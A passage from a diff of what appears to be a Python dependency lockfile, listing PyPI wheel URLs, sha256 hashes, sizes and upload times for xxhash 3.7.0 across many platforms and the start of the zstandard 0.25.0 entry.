+    { url = "https://files.pythonhosted.org/packages/92/fe/198b3763b2e01ca908f2154969a2352ec99bda892b574a11a9a151c5ede4/xxhash-3.7.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:6be4d70d9ab76c9f324ead9c01af6ff52c324745ea0c3731682a0cf99720f1fe", size = 414125, upload-time = "2026-04-25T11:07:23.037Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/6d/019a11affd5a5499137cacca53808659964785439855b5aa40dfd3412916/xxhash-3.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:151d7520838d4465461a0b7f4ae488b3b00de16183dd3214c1a6b14bf89d7fb6", size = 191555, upload-time = "2026-04-25T11:07:24.991Z" },
+    { url = "https://files.pythonhosted.org/packages/76/21/b96d58568df2d01533244c3e0e5cbdd0c8b2b25c4bec4d72f19259a292d7/xxhash-3.7.0-cp313-cp313-win32.whl", hash = "sha256:d798c1e291bffb8e37b5bbe0dda77fc767cd19e89cadaf66e6ed5d0ff88c9fe6", size = 30668, upload-time = "2026-04-25T11:07:26.665Z" },
+    { url = "https://files.pythonhosted.org/packages/99/57/d849a8d3afa1f8f4bc6a831cd89f49f9706fbbad94d2975d6140a171988c/xxhash-3.7.0-cp313-cp313-win_amd64.whl", hash = "sha256:875811ba23c543b1a1c3143c926e43996eb27ebb8f52d3500744aa608c275aed", size = 31524, upload-time = "2026-04-25T11:07:27.92Z" },
+    { url = "https://files.pythonhosted.org/packages/81/52/bacc753e92dee78b058af8dcef0a50815f5f860986c664a92d75f965b6a5/xxhash-3.7.0-cp313-cp313-win_arm64.whl", hash = "sha256:54a675cb300dda83d71daae2a599389d22db8021a0f8db0dd659e14626eb3ecc", size = 27768, upload-time = "2026-04-25T11:07:29.113Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/47/ddbd683b7fc7e592c1a8d9d65f73ce9ab513f082b3967eee2baf549b8fc6/xxhash-3.7.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a3b19a42111c4057c1547a4a1396a53961dca576a0f6b82bfa88a2d1561764b2", size = 33576, upload-time = "2026-04-25T11:07:30.469Z" },
+    { url = "https://files.pythonhosted.org/packages/07/f2/36d3310161db7f72efb4562aadde0ed429f1d0531782dd6345b12d2da527/xxhash-3.7.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8f4608a06e4d61b7a3425665a46d00e0579122e1a2fae97a0c52953a3aad9aa3", size = 31123, upload-time = "2026-04-25T11:07:31.989Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/3f/75937a5c69556ed213021e43cbedd84c8e0279d0d74e7d41a255d84ba4b1/xxhash-3.7.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ad37c7792479e49cf96c1ab25517d7003fe0d93687a772ba19a097d235bbe41e", size = 196491, upload-time = "2026-04-25T11:07:33.358Z" },
+    { url = "https://files.pythonhosted.org/packages/22/29/f10d7ff8c7a733d4403a43b9de18c8fabc005f98cec054644f04418659ee/xxhash-3.7.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc026e3b89d98e30a8288c95cb696e77d150b3f0fb7a51f73dcd49ee6b5577fa", size = 215793, upload-time = "2026-04-25T11:07:34.919Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/fd/778f60aa295f58907938f030a8b514611f391405614a525cccd2ffc00eb5/xxhash-3.7.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c9b31ab1f28b078a6a1ac1a54eb35e7d5390deddd56870d0be3a0a733d1c321c", size = 237993, upload-time = "2026-04-25T11:07:36.638Z" },
+    { url = "https://files.pythonhosted.org/packages/70/f5/736db5de387b4a540e37a05b84b40dc58a1ce974bfd2b4e5754ce29b68c3/xxhash-3.7.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3bb5fd680c038fd5229e44e9c493782f90df9bef632fd0499d442374688ff70b", size = 214887, upload-time = "2026-04-25T11:07:38.564Z" },
+    { url = "https://files.pythonhosted.org/packages/4d/aa/09a095f22fdb9a27fbb716841fbff52119721f9ca4261952d07a912f7839/xxhash-3.7.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:030c0fd688fce3569fbb49a2feefd4110cbb0b650186fb4610759ecfac677548", size = 448407, upload-time = "2026-04-25T11:07:40.552Z" },
+    { url = "https://files.pythonhosted.org/packages/74/8a/b745efeeca9e34a91c26fdc97ad8514c43d5a81ac78565cba80a1353870a/xxhash-3.7.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5b1bde10324f4c31812ae0d0502e92d916ae8917cad7209353f122b8b8f610c3", size = 196119, upload-time = "2026-04-25T11:07:42.101Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/5c/0cfceb024af90c191f665c7933b1f318ee234f4797858383bebd1881d52f/xxhash-3.7.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:503722d52a615f2604f5e7611de7d43878df010dc0053094ef91cb9a9ac3d987", size = 286751, upload-time = "2026-04-25T11:07:43.568Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/0a/0793e405dc3cf8f4ebe2c1acec1e4e4608cd9e7e50ea691dabbc2a95ccbb/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c72500a3b6d6c30ebfc135035bcace9eb5884f2dc220804efcaaba43e9f611dd", size = 212961, upload-time = "2026-04-25T11:07:45.388Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/7e/721118ffc63bfff94aa565bcf2555a820f9f4bdb0f001e0d609bdfad70de/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:43475925a766d01ca8cd9a857fd87f3d50406983c8506a4c07c4df12adcc867f", size = 243703, upload-time = "2026-04-25T11:07:47.053Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/18/16f6267160488b8276fd3d449d425712512add292ba545c1b6946bfdb7dd/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8d09dfd2ab135b985daf868b594315ebe11ad86cd9fea46e6c69f19b28f7d25a", size = 200894, upload-time = "2026-04-25T11:07:48.657Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/94/80ba841287fd97e3e9cac1d228788c8ef623746f570404961eec748ecb5c/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c50269d0055ac1faecfd559886d2cbe4b730de236585aba0e873f9d9dadbe585", size = 213357, upload-time = "2026-04-25T11:07:50.257Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/7e/106d4067130c59f1e18a55ffadcd876d8c68534883a1e02685b29d3d8153/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:1910df4756a5ab58cfad8744fc2d0f23926e3efcc346ee76e87b974abab922f4", size = 277600, upload-time = "2026-04-25T11:07:51.745Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/86/a081dd30da71d720b2612a792bfd55e45fa9a07ac76a0507f60487473c25/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d006faf3b491957efcb433489be3c149efe4787b7063d5cddb8ddaefdc60e0c1", size = 416980, upload-time = "2026-04-25T11:07:53.504Z" },
+    { url = "https://files.pythonhosted.org/packages/35/29/1a95221a029a3c1293773869e1ab47b07cbbdd82444a42809e8c60156626/xxhash-3.7.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:abb65b4e947e958f7b3b0d71db3ce447d1bc5f37f5eab871ce7223bda8768a04", size = 193840, upload-time = "2026-04-25T11:07:55.103Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/e0/db909dd0823285de2286f67e10ee4d81e96ad35d7d8e964ecb07fccd8af9/xxhash-3.7.0-cp313-cp313t-win32.whl", hash = "sha256:178959906cb1716a1ce08e0d69c82886c70a15a6f2790fc084fdd146ca30cd49", size = 30966, upload-time = "2026-04-25T11:07:56.524Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/ff/d705b15b22f21ee106adce239cb65d35067a158c630b240270f09b17c2e6/xxhash-3.7.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2524a1e20d4c231d13b50f7cf39e44265b055669a64a7a4b9a2a44faa03f19b6", size = 31784, upload-time = "2026-04-25T11:07:57.758Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/1f/b2cf83c3638fd0588e0b17f22e5a9400bdfb1a3e3755324ac0aee2250b88/xxhash-3.7.0-cp313-cp313t-win_arm64.whl", hash = "sha256:37d994d0ffe81ef087bb330d392caa809bb5853c77e22ea3f71db024a0543dba", size = 27932, upload-time = "2026-04-25T11:07:59.109Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/cc/431db584f6fbb9312e40a173af027644e5580d39df1f73603cbb9dca4d6b/xxhash-3.7.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:8c5fcfd806c335bfa2adf1cd0b3110a44fc7b6995c3a648c27489bae85801465", size = 36644, upload-time = "2026-04-25T11:08:00.658Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/01/255ec513e0a705d1f9a61413e78dfce4e3235203f0ed525a24c2b4b56345/xxhash-3.7.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:506a0b488f190f0a06769575e30caf71615c898ed93ab18b0dbcb6dec5c3713c", size = 35003, upload-time = "2026-04-25T11:08:02.338Z" },
+    { url = "https://files.pythonhosted.org/packages/68/70/c55fc33c93445b44d8fc5a17b41ed99e3cebe92bcf8396809e63fc9a1165/xxhash-3.7.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:ec68dbba21532c0173a9872298e65c89749f7c9d21538c3a78b5bb6105871568", size = 29655, upload-time = "2026-04-25T11:08:03.701Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/72/ff8de73df000d74467d12a59ce6d6e2b2a368b978d41ab7b1fba5ed442be/xxhash-3.7.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:fa77e7ec1450d415d20129961814787c9abd9a07f98872f070b1fe96c5084611", size = 30664, upload-time = "2026-04-25T11:08:05.011Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/91/08416d9bd9bc3bf39d831abe8a5631ac2db5141dfd6fe81c3fe59a1f9264/xxhash-3.7.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:fe32736295ea38e43e7d9424053c8c47c9f64fecfc7c895fb3da9b30b131c9ee", size = 33317, upload-time = "2026-04-25T11:08:06.413Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/3b/86b1caa4dee10a99f4bf9521e623359341c5e50d05158fa10c275b2bd079/xxhash-3.7.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ab9dd2c83c4bbd63e422181a76f13502d049d3ddcac9a1bdc29196263d692bb8", size = 33457, upload-time = "2026-04-25T11:08:08.099Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/38/98ea14ad1517e1461292a65906951458d520689782bfbae111050145bdba/xxhash-3.7.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3afec3a336a2286601a437cb07562ab0227685e6fbb9ec17e8c18457ff348ecf", size = 30894, upload-time = "2026-04-25T11:08:09.429Z" },
+    { url = "https://files.pythonhosted.org/packages/61/a2/074654d0b893606541199993c7db70067d9fc63b748e0d60020a52a1bd36/xxhash-3.7.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:565df64437a9390f84465dcca33e7377114c7ede8d05cd2cf20081f831ea788e", size = 194409, upload-time = "2026-04-25T11:08:10.91Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/26/6d2a1afc468189f77ca28c32e1c83e1b9da1178231e05641dbc1b350e332/xxhash-3.7.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:12eca820a5d558633d423bf8bb78ce72a55394823f64089247f788a7e0ae691e", size = 213135, upload-time = "2026-04-25T11:08:12.575Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/0e/d8aecf95e09c42547453137be74d2f7b8b14e08f5177fa2fab6144a19061/xxhash-3.7.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f262b8f7599516567e070abf607b9af649052b2c4bd6f9be02b0cb41b7024805", size = 236379, upload-time = "2026-04-25T11:08:14.206Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/74/8140e8210536b3dd0cc816c4faaeb5ba6e63e8125ab25af4bcddd6a037b3/xxhash-3.7.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1598916cb197681e03e601901e4ab96a9a963de398c59d0964f8a6f44a2b361", size = 212447, upload-time = "2026-04-25T11:08:15.79Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/d2/462001d2903b4bee5a5689598a0a55e5e7cd1ac7f4247a5545cff10d3ebb/xxhash-3.7.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:322b2f0622230f526aeb1738149948a7ae357a9e2ceb1383c6fd1fdaecdafa16", size = 445660, upload-time = "2026-04-25T11:08:17.441Z" },
+    { url = "https://files.pythonhosted.org/packages/23/09/2bd1ed7f8689b20e51727952cac8329d50c694dc32b2eba06ba5bc742b37/xxhash-3.7.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:24cc22070880cc57b830a65cde4e65fa884c6d9b28ae4803b5ee05911e7bafba", size = 194076, upload-time = "2026-04-25T11:08:19.134Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/6e/692302cd0a5f4ac4e6289f37fa888dc2e1e07750b68fe3e4bfe939b8cea3/xxhash-3.7.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb5a888a968b2434abf9ecda357b5d43f10d7b5a6da6fdbbe036208473aff0e2", size = 284990, upload-time = "2026-04-25T11:08:20.618Z" },
+    { url = "https://files.pythonhosted.org/packages/05/d9/e54b159b3d9df7999d2a7c676ce7b323d1b5588a64f8f51ed8172567bd87/xxhash-3.7.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a999771ff97bec27d18341be4f3a36b163bb1ac41ec17bef6d2dabd84acd33c7", size = 210590, upload-time = "2026-04-25T11:08:22.24Z" },
+    { url = "https://files.pythonhosted.org/packages/50/93/0e0df1a3a196ced4ca71de76d65ead25d8e87bbfb87b64306ea47a40c00d/xxhash-3.7.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ed4a6efe2dee1655adb73e7ad40c6aa955a6892422b1e3b95de6a34de56e3cbb", size = 241442, upload-time = "2026-04-25T11:08:23.844Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/a9/d917a7a814e90b218f8a0d37967105eea91bf752c3303683c99a1f7bfc1f/xxhash-3.7.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9fd17f14ac0faa12126c2f9ca774a8cf342957265ec3c8669c144e5e6cdb478c", size = 198356, upload-time = "2026-04-25T11:08:25.99Z" },
+    { url = "https://files.pythonhosted.org/packages/89/5e/f2ba1877c39469abbefc72991d6ebdcbd4c0880db01ae8cb1f553b0c537d/xxhash-3.7.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:05fd1254268c59b5cb2a029dfc204275e9fc52de2913f1e53aa8d01442c96b4d", size = 210898, upload-time = "2026-04-25T11:08:27.608Z" },
+    { url = "https://files.pythonhosted.org/packages/90/c6/be56b58e73de531f39a10de1355bb77ceb663900dc4bf2d6d3002a9c3f9e/xxhash-3.7.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:a2eae53197c6276d5b317f75a1be226bbf440c20b58bf525f36b5d0e1f657ca6", size = 275519, upload-time = "2026-04-25T11:08:29.301Z" },
+    { url = "https://files.pythonhosted.org/packages/92/e2/17ddc85d5765b9c709f192009ed8f5a1fc876f4eb35bba7c307b5b1169f9/xxhash-3.7.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:bfe6f92e3522dcbe8c4281efd74fa7542a336cb00b0e3272c4ec0edabeaeaf67", size = 414191, upload-time = "2026-04-25T11:08:31.16Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/42/85f5b79f4bf1ec7ba052491164adfd4f4e9519f5dc7246de4fbd64a1bd56/xxhash-3.7.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7ab9a49c410d8c6c786ab99e79c529938d894c01433130353dd0fe999111077a", size = 191604, upload-time = "2026-04-25T11:08:32.862Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/d0/6127b623aa4cca18d8b7743592b048d689fd6c6e37ff26a22cddf6cd9d7f/xxhash-3.7.0-cp314-cp314-win32.whl", hash = "sha256:040ea63668f9185b92bc74942df09c7e65703deed71431333678fc6e739a9955", size = 31271, upload-time = "2026-04-25T11:08:34.651Z" },
+    { url = "https://files.pythonhosted.org/packages/64/4f/44fc4788568004c43921701cbc127f48218a1eede2c9aea231115323564d/xxhash-3.7.0-cp314-cp314-win_amd64.whl", hash = "sha256:2a61e2a3fb23c892496d587b470dee7fa1b58b248a187719c65ea8e94ec13257", size = 32284, upload-time = "2026-04-25T11:08:35.987Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/77/18bb895eb60a49453d16e17d67990e5caff557c78eafc90ad4e2eabf4570/xxhash-3.7.0-cp314-cp314-win_arm64.whl", hash = "sha256:c7741c7524961d8c0cb4d4c21b28957ff731a3fd5b5cd8b856dc80a40e9e5acc", size = 28701, upload-time = "2026-04-25T11:08:37.767Z" },
+    { url = "https://files.pythonhosted.org/packages/45/a0/46f72244570c550fbbb7db1ef554183dd5ebe9136385f30e032b781ae8f6/xxhash-3.7.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:fc84bf7aa7592f31ec63a3e7b11d624f468a3f19f5238cec7282a42e838ab1d7", size = 33646, upload-time = "2026-04-25T11:08:39.109Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/3a/453846a7eceea11e75def361eed01ec6a0205b9822c19927ed364ccae7cc/xxhash-3.7.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9f1563fdc8abfc389748e6932c7e4e99c89a53e4ec37d4563c24fc06f5e5644b", size = 31125, upload-time = "2026-04-25T11:08:40.467Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/3e/49434aba738885d512f9e486db1bdd19db28dfa40372b56da26ef7a4e738/xxhash-3.7.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2d415f18becf6f153046ab6adc97da77e3643a0ee205dae61c4012604113a020", size = 196633, upload-time = "2026-04-25T11:08:41.943Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/e9/006cb6127baeb9f8abe6d15e62faa01349f09b34e2bfd65175b2422d026b/xxhash-3.7.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bb16aa13ed175bc9be5c2491ba031b85a9b51c4ed90e0b3d4ebe63cf3fb54f8e", size = 215899, upload-time = "2026-04-25T11:08:43.645Z" },
+    { url = "https://files.pythonhosted.org/packages/27/e4/cc57d72e66df0ae29b914335f1c6dcf61e8f3746ddf0ae3c471aa4f15e00/xxhash-3.7.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f9fd595f1e5941b3d7863e4774e4b30caa6731fc34b9277da032295aa5656ee5", size = 238116, upload-time = "2026-04-25T11:08:45.698Z" },
+    { url = "https://files.pythonhosted.org/packages/af/78/3531d4a3fd8a0038cc6be1f265a69c1b3587f557a10b677dd736de2202c1/xxhash-3.7.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1295325c5a98d552333fa53dc2b026b0ef0ec9c8e73ca3a952990b4c7d65d459", size = 215012, upload-time = "2026-04-25T11:08:47.355Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/f6/259fb1eaaec921f59b17203b0daee69829761226d3b980d5191d7723dd83/xxhash-3.7.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3573a651d146912da9daa9e29e5fbc45994420daaa9ef1e2fa5823e1dc485513", size = 448534, upload-time = "2026-04-25T11:08:49.149Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/16/a66d0eaf6a7e68532c07714361ddc904c663ec940f3b028c1ae4a21a7b9d/xxhash-3.7.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ec1e080a3d02d94ea9335bfab0e3374b877e25411422c18f51a943fa4b46381", size = 196217, upload-time = "2026-04-25T11:08:50.805Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/ef/d2efc7fc51756dc52509109d1a25cefc859d74bc4b19a167b12dbd8c2786/xxhash-3.7.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:84415265192072d8638a3afc3c1bc5995e310570cd9acb54dc46d3939e364fe0", size = 286906, upload-time = "2026-04-25T11:08:52.418Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/67/25decd1d4a4018582ec4db2a868a2b7e40640f4adb20dfeb19ac923aa825/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d4dea659b57443989ef32f4295104fd6912c73d0bf26d1d148bb88a9f159b02", size = 213057, upload-time = "2026-04-25T11:08:54.105Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/5d/17651eb29d06786cdc40c60ae3d27d645aa5d61d2eca6237a7ba0b94789b/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:05ece0fe4d9c9c2728912d1981ae1566cfc83a011571b24732cbf76e1fb70dca", size = 243886, upload-time = "2026-04-25T11:08:56.109Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/d4/174d9cf7502243d586e6a9ae842b1ae23026620995114f85f1380e588bc9/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:fd880353cf1ffaf321bc18dd663e111976dbd0d3bbd8a66d58d2b470dfa7f396", size = 201015, upload-time = "2026-04-25T11:08:57.777Z" },
+    { url = "https://files.pythonhosted.org/packages/91/8c/2254e2d06c3ac5e6fe22eaf3da791b87ea823ae9f2c17b4af66755c5752d/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:4e15cc9e2817f6481160f930c62842b3ff419e20e13072bcbab12230943092bc", size = 213457, upload-time = "2026-04-25T11:08:59.826Z" },
+    { url = "https://files.pythonhosted.org/packages/79/a2/e3daa762545921173e3360f3b4ff7fc63c2d27359f7230ec1a7a74e117f6/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:90b9d1a8bd37d768ffc92a1f651ec69afc532a96fa1ac2ea7abbed5d630b3237", size = 277738, upload-time = "2026-04-25T11:09:01.423Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/4c/e186da2c46b87f5204640e008d42730bf3c1ee9f0efb71ae1ebcdfeac681/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:157c49475b34ecea8809e51123d9769a534e139d1247942f7a4bc67710bb2533", size = 417127, upload-time = "2026-04-25T11:09:03.592Z" },
+    { url = "https://files.pythonhosted.org/packages/17/28/3798e15007a3712d0da3d3fe70f8e11916569858b5cc371053bc26270832/xxhash-3.7.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5a6ddec83325685e729ca119d1f5c518ec39294212ecd770e60693cdc5f7eb79", size = 193962, upload-time = "2026-04-25T11:09:06.228Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/95/a26baa93b5241fd7630998816a4ec47a5a0bad193b3f8fc8f3593e1a4a67/xxhash-3.7.0-cp314-cp314t-win32.whl", hash = "sha256:a04a6cab47e2166435aaf5b9e5ee41d1532cc8300efdef87f2a4d0acb7db19ed", size = 31643, upload-time = "2026-04-25T11:09:08.153Z" },
+    { url = "https://files.pythonhosted.org/packages/44/36/5454f13c447e395f9b06a3e91274c59f503d31fad84e1836efe3bdb71f6a/xxhash-3.7.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8653dd7c2eda020545bb2c71c7f7039b53fe7434d0fc1a0a9deb79ab3f1a4fc1", size = 32522, upload-time = "2026-04-25T11:09:09.534Z" },
+    { url = "https://files.pythonhosted.org/packages/74/35/698e7e3ff38e22992ea24870a511d8762474fb6783627a2910ff22a185c2/xxhash-3.7.0-cp314-cp314t-win_arm64.whl", hash = "sha256:468f0fc114faaa4b36699f8e328bbc3bb11dc418ba94ac52c26dd736d4b6c637", size = 28807, upload-time = "2026-04-25T11:09:11.234Z" },
+    { url = "https://files.pythonhosted.org/packages/54/c1/e57ac7317b1f58a92bab692da6d497e2a7ce44735b224e296347a7ecc754/xxhash-3.7.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ad3aa71e12ee634f22b39a0ff439357583706e50765f17f05550f92dbf128a23", size = 31232, upload-time = "2026-04-25T11:10:21.51Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/4e/075559bd712bc62e84915ea46bbee859f935d285659082c129bdbff679dd/xxhash-3.7.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5de686e73690cdaf72b96d4fa083c230ec9020bcc2627ce6316138e2cf2fe2d1", size = 28553, upload-time = "2026-04-25T11:10:23.1Z" },
+    { url = "https://files.pythonhosted.org/packages/92/ca/a9c78cb384d4b033b0c58196bd5c8509873cabe76389e195127b0302a741/xxhash-3.7.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7fbec49f5341bbdea0c471f7d1e2fb41ae8925af9b6f28025c28defd8eb94274", size = 41109, upload-time = "2026-04-25T11:10:25.022Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/b1/dfe2629f7c77eb2fa234c72ff537cdd64939763df704e256446ed364a16d/xxhash-3.7.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48b542c347c2089f43dc5a6db31d2a6f3cdb04ee33505ec6e9f653834dbb0bde", size = 36307, upload-time = "2026-04-25T11:10:26.949Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/f7/5a484afce0f48dd8083208b42e4911f290a82c7b52458ef2927e4d421a45/xxhash-3.7.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a169a036bed0995e090d1493b283cc2cc8a6f5046821086b843abefff80643bc", size = 32534, upload-time = "2026-04-25T11:10:29.01Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/5f/4acfcd490db9780cf36c58534d828003c564cde5350220a1c783c4d10776/xxhash-3.7.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ec101643395d7f21405b640f728f6f627e6986557027d740f2f9b220955edafe", size = 31552, upload-time = "2026-04-25T11:10:30.727Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" },
+    { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" },
